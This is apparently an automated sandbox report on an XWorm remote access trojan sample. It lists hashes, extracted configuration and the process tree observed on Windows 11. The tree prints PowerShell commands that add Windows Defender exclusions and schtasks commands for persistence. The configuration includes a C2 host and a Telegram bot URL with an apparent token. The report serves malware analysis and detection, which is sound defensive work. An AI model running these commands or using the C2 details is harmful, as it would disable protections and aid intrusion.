Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    30/05/2024, 10:48

General

  • Target
    30a110aa704b2beebbe56ad92cc4910defd943360d6bc10113e7fc17f9c31e7d.exe
  • Size 515KB
  • Sample240530-mv7shaef5t
  • SHA256 30a110aa704b2beebbe56ad92cc4910defd943360d6bc10113e7fc17f9c31e7d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • 127.0.0.1:7000

  • beshomandotestbesnd.run.place:7000

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    cmd.exe

  • telegram

    https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\30a110aa704b2beebbe56ad92cc4910defd943360d6bc10113e7fc17f9c31e7d.exe
    "C:\Users\Admin\AppData\Local\Temp\30a110aa704b2beebbe56ad92cc4910defd943360d6bc10113e7fc17f9c31e7d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:448
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\30a110aa704b2beebbe56ad92cc4910defd943360d6bc10113e7fc17f9c31e7d.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1512
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\DzmQEVPXhX.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4208
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\DzmQEVPXhX" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6F83.tmp"
      2⤵
      • Creates scheduled task(s)
      PID:4104
    • C:\Users\Admin\AppData\Local\Temp\30a110aa704b2beebbe56ad92cc4910defd943360d6bc10113e7fc17f9c31e7d.exe
      "C:\Users\Admin\AppData\Local\Temp\30a110aa704b2beebbe56ad92cc4910defd943360d6bc10113e7fc17f9c31e7d.exe"
      2⤵
      • Drops startup file
      • Adds Run key to start application
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4792
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\30a110aa704b2beebbe56ad92cc4910defd943360d6bc10113e7fc17f9c31e7d.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1900
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '30a110aa704b2beebbe56ad92cc4910defd943360d6bc10113e7fc17f9c31e7d.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2096
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\cmd.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3164
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'cmd.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1912
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "cmd" /tr "C:\ProgramData\cmd.exe"
        3⤵
        • Creates scheduled task(s)
        PID:4880
  • C:\ProgramData\cmd.exe
    C:\ProgramData\cmd.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2140
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData\cmd.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3252
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\DzmQEVPXhX.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:552
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\DzmQEVPXhX" /XML "C:\Users\Admin\AppData\Local\Temp\tmp1855.tmp"
      2⤵
      • Creates scheduled task(s)
      PID:1384
    • C:\ProgramData\cmd.exe
      "C:\ProgramData\cmd.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1980
  • C:\ProgramData\cmd.exe
    C:\ProgramData\cmd.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1464
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData\cmd.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3224
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\DzmQEVPXhX.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2872
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\DzmQEVPXhX" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2E4.tmp"
      2⤵
      • Creates scheduled task(s)
      PID:4184
    • C:\ProgramData\cmd.exe
      "C:\ProgramData\cmd.exe"
      2⤵
      • Executes dropped EXE
      PID:4752
    • C:\ProgramData\cmd.exe
      "C:\ProgramData\cmd.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4848

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        cmd.exe

        • Path C:\ProgramData\cmd.exe
        • Size 515KB
        • SHA256 30a110aa704b2beebbe56ad92cc4910defd943360d6bc10113e7fc17f9c31e7d
        • MD5 SHA1 SHA512 SSDEEP

        cmd.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\cmd.exe.log
        • Size 1KB
        • SHA256 4c17576f64dea465c45a50573ee41771f7be9962ab2d07f961af4df5589bdcce
        • MD5 SHA1 SHA512

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 3d70cab2c75d1087dd2ec9b00c45dac33241870faebbdc087aa5f05e2f155598
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 9209f52e842b7fbf2d2a3339a5c5157b5dbef8ebad211458682213f22752ba17
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 deeb959c44207caa7bd042d4fec295c510a47fa3a4bbb766a84c9e518bc80d7f
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 f33e040f5c83c0247ea4f19cc9cdbcb82e9c8286a57da4c000c7635cc74fdb61
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 764B
        • SHA256 4fb494dab2f5566e5343110239107204560e7e42c6d91cdb8d385ca6d723f780
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 7a1402c8dfd35609c44655a2a0ab550d9e2c0581d666ac43dcf5711b93263715
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 933B
        • SHA256 20df32390747f60380eb83c99f6303744e92a93641576327d08bb25339c08d93
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 bfabef46490fa7834586a22bf1d2612c52c0ebeb33abe37596ff490d1b97f4b0
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_gb0ijalp.tbs.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gb0ijalp.tbs.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        explorer.exe

        • Path C:\Users\Admin\AppData\Local\Temp\explorer.exe
        • Size 1KB
        • SHA256 15035952ee61f538b5ef91c1ea1f3d1a3156ab10487fb79645bd25050a2140b1
        • MD5 SHA1 SHA512

        explorer.exe

        • Path C:\Users\Admin\AppData\Local\Temp\explorer.exe
        • Size 1KB
        • SHA256 8979278847e0049fb08bcc8cb839e9a77549e656d35eeb0c182d0af929cfc40f
        • MD5 SHA1 SHA512

        explorer.exe

        • Path C:\Users\Admin\AppData\Local\Temp\explorer.exe
        • Size 1KB
        • SHA256 36fcc2294027cd8438fe15c26569c943c7b3b285beb8ac9d1811d994d4bb218f
        • MD5 SHA1 SHA512

        tmp6F83.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\tmp6F83.tmp
        • Size 1KB
        • SHA256 e2443a7e94ad3497df971a33d8d3a86f9ca145a35a6f74f44299ec49a1fe8c3e
        • MD5 SHA1 SHA512

        memory/448-7-0x00000000084C0000-0x00000000084D0000-memory.dmp

        memory/448-0-0x000000007461E000-0x000000007461F000-memory.dmp

        memory/448-5-0x0000000074610000-0x0000000074DC1000-memory.dmp

        memory/448-4-0x0000000005860000-0x000000000586A000-memory.dmp

        memory/448-3-0x00000000058F0000-0x0000000005982000-memory.dmp

        memory/448-6-0x00000000083A0000-0x00000000083BA000-memory.dmp

        memory/448-8-0x0000000008700000-0x000000000875A000-memory.dmp

        memory/448-2-0x0000000005E00000-0x00000000063A6000-memory.dmp

        memory/448-53-0x0000000074610000-0x0000000074DC1000-memory.dmp

        memory/448-1-0x0000000000D20000-0x0000000000DA8000-memory.dmp

        memory/448-9-0x000000000AE80000-0x000000000AF1C000-memory.dmp

        memory/552-223-0x000000006EBC0000-0x000000006EC0C000-memory.dmp

        memory/1512-26-0x0000000005E30000-0x0000000006187000-memory.dmp

        memory/1512-55-0x000000006F120000-0x000000006F16C000-memory.dmp

        memory/1512-66-0x0000000007B90000-0x000000000820A000-memory.dmp

        memory/1512-67-0x0000000007540000-0x000000000755A000-memory.dmp

        memory/1512-68-0x00000000075C0000-0x00000000075CA000-memory.dmp

        memory/1512-69-0x00000000077D0000-0x0000000007866000-memory.dmp

        memory/1512-70-0x0000000007750000-0x0000000007761000-memory.dmp

        memory/1512-71-0x0000000007780000-0x000000000778E000-memory.dmp

        memory/1512-10-0x00000000029E0000-0x0000000002A16000-memory.dmp

        memory/1512-81-0x0000000007790000-0x00000000077A5000-memory.dmp

        memory/1512-82-0x0000000007890000-0x00000000078AA000-memory.dmp

        memory/1512-83-0x0000000007880000-0x0000000007888000-memory.dmp

        memory/1512-86-0x0000000074610000-0x0000000074DC1000-memory.dmp

        memory/1512-28-0x0000000006230000-0x000000000627C000-memory.dmp

        memory/1512-64-0x00000000067D0000-0x00000000067EE000-memory.dmp

        memory/1512-14-0x0000000074610000-0x0000000074DC1000-memory.dmp

        memory/1512-16-0x0000000005CC0000-0x0000000005D26000-memory.dmp

        memory/1512-65-0x00000000073F0000-0x0000000007494000-memory.dmp

        memory/1512-12-0x0000000005530000-0x0000000005B5A000-memory.dmp

        memory/1512-13-0x0000000005480000-0x00000000054A2000-memory.dmp

        memory/1512-11-0x0000000074610000-0x0000000074DC1000-memory.dmp

        memory/1512-54-0x00000000067F0000-0x0000000006824000-memory.dmp

        memory/1512-15-0x0000000005C50000-0x0000000005CB6000-memory.dmp

        memory/1512-25-0x0000000074610000-0x0000000074DC1000-memory.dmp

        memory/1512-27-0x0000000006210000-0x000000000622E000-memory.dmp

        memory/1900-111-0x0000000007500000-0x0000000007511000-memory.dmp

        memory/1900-112-0x0000000007540000-0x0000000007555000-memory.dmp

        memory/1900-110-0x0000000007170000-0x0000000007214000-memory.dmp

        memory/1900-101-0x0000000070D40000-0x0000000070D8C000-memory.dmp

        memory/1900-100-0x0000000005FC0000-0x000000000600C000-memory.dmp

        memory/1900-98-0x0000000005B70000-0x0000000005EC7000-memory.dmp

        memory/1912-161-0x0000000070D40000-0x0000000070D8C000-memory.dmp

        memory/2096-123-0x0000000070D40000-0x0000000070D8C000-memory.dmp

        memory/2872-281-0x000000006EC60000-0x000000006ECAC000-memory.dmp

        memory/3164-142-0x0000000070D40000-0x0000000070D8C000-memory.dmp

        memory/3224-272-0x000000006EC60000-0x000000006ECAC000-memory.dmp

        memory/3224-258-0x0000000006DB0000-0x0000000006DFC000-memory.dmp

        memory/3224-239-0x00000000062C0000-0x0000000006617000-memory.dmp

        memory/3252-221-0x0000000007210000-0x0000000007221000-memory.dmp

        memory/3252-222-0x0000000007250000-0x0000000007265000-memory.dmp

        memory/3252-220-0x0000000006F30000-0x0000000006FD4000-memory.dmp

        memory/3252-211-0x000000006EBC0000-0x000000006EC0C000-memory.dmp

        memory/3252-188-0x0000000005D20000-0x0000000005D6C000-memory.dmp

        memory/3252-178-0x0000000005710000-0x0000000005A67000-memory.dmp

        memory/4208-72-0x000000006F120000-0x000000006F16C000-memory.dmp

        memory/4792-51-0x0000000000400000-0x0000000000418000-memory.dmp